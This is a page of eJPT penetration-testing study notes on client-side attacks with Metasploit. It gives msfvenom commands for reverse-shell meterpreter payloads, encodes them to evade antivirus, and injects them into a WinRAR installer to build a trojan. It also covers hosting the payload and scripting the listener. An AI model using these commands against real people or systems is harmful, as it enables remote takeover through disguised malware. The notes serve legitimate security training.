> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/the-metasploit-framework-msf/client-side-attack.md). # Client-Side Attack ### Payloads * A client-side attack is an attack vector that involves coercing a client to execute a malicious payload on their system that consequently connects back to the attacker when executed. * Client-side attack typically utilize various social engineering techniques like generating malicious documents or portable executables (PEs). * Client-side attacks take advantage of human vulnerabilities as opposed to vulnerabilities in services or software running on the target system. * Given that this attack vector involves the transfer and storage of a malicious payload on the client's system (disk), attackers need to be cognisant of AV detection **MSFVENOM** * Msfvenom is a command line utility that can be used to generate and encode MSF payloads for various operating systems as well as web servers. * Msfvenom is a combination of two utilities, namely, msfpayload and msfencode. * We can use Msfvenom to generate a malicious meterpreter payload that can be transferred to a client target system. Once executed, it will connect back to our payload handler and provide us with remote access to the target system. * list payloads ``` msfvenom --list payloads ``` **Stage payload** : /meterpreter/ **Unstage payload** : /meterpreter\_ #### Generating Payloads with Msfvenom ``` msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > /home/kali/Desktop/payload.exe ``` ``` msfvenom -a x64 -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > /home/kali/Desktop/payload.exe ``` ``` msfvenom --list formats ``` ``` msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > /home/kali/Desktop/payload ``` ``` msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= LPORT= -f elf > /home/kali/Desktop/payload ``` * Webserver ``` sudo python -m SimpleHTTPServer 80 ``` * Setup Listener ``` msfconsole -q > set payload > set LHOST > set LPORT > run ``` * download and save it to the target machine and execute it... * We receive a reverse shell *** #### Encoding Payloads with Msfvenom * Given that this attack vector involves the transfer and storage of a malicious payload on the client's system (disk), attackers need to be cognisant of AV detection. * Most end user AV solutions utilize signature based detection in order to identify malicious files or executables. * We can evade older signature based AV solutions by encoding our payloads. * Encoding is the process of modifying the payload shellcode with the objective of modifying the payload signature. Shellcode * Shellcode (shell-code) is a piece of code typically used as a payload for exploitation. * It gets its name from the term command shell, whereby shellcode is a piece of code that provides an attacker with a remote command shell on the target system. ``` msfveno --list encoders ``` * best option in case of encoder is **x86/shikata\_ga\_nai** * **cmd/powershell\_base64** ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -e x86/shikata_ga_nai -f exe > Desktop/encoded_payload.exe ``` Iteration ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -i 10 -e x86/shikata_ga_nai -f exe > Desktop/encoded_payload.exe ``` Linux ``` msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -e x86/shikata_ga_nai -f elf > Desktop/encoded_payload ``` *** #### Injecting Payloads into Windows Payloads Executables ``` msfvenom -h ``` -x template -k keep * Download a winrar ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -e x86/shikata_ga_nai -i 10 -f exe -x ~/Downloads/wrar602.exe > ~/Desktop/winrar.exe ``` * Server python ``` sudo python -m SimpleHTTPServer 80 ``` * setup Listener and start Listener * Windows post exploitation modules ``` >>>> run post/windows/manage/migrate ``` *Note: This below doesn't work with all application* ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -e x86/shikata_ga_nai -i 10 -f exe -k x ~/Downloads/wrar602.exe > ~/Desktop/winrar.exe ``` ### Automating #### Automating Metasploit With Resource Scripts * Metasploit resource scripts are a great feature of MSF that allows you to automate repetitive tasks and commands. * They operate similarly to batch scripts, whereby, you can specify a set of Msfconsole commands that you want to execute sequentially. * You can the load the script with Msfconsole and automate the execution of the commands you specified in the resource script. * We can use resource scripts to automate various task like setting up multi handlers as well as loading and executing payloads. ``` ls -al /usr/share/metasploit-framework/scripts/resource/ ``` ``` vim handler.rc set Payload windows/meterpreter/reverse_tcp set LHOST set LPORT run ``` * To run a resource file in metasploit framework ``` msfconsole -q -r handler.rc ``` ``` vim portscanner.rc use auxiliary/scanner/portscan/tcp set RHOSTS run ``` ``` msfconsole -r portscanner.rc ``` ``` vim db_status.rc db_status workspace workspace -a Test ``` * To load resource file within in MSFCONSOLE ``` msfconsole -q > resource ~/Desktop/handler.rc ``` * To automatically create a resource file from MSFCONSOLE ``` >set RHOSTS > makerc ~/Desktop/portscan.rc ```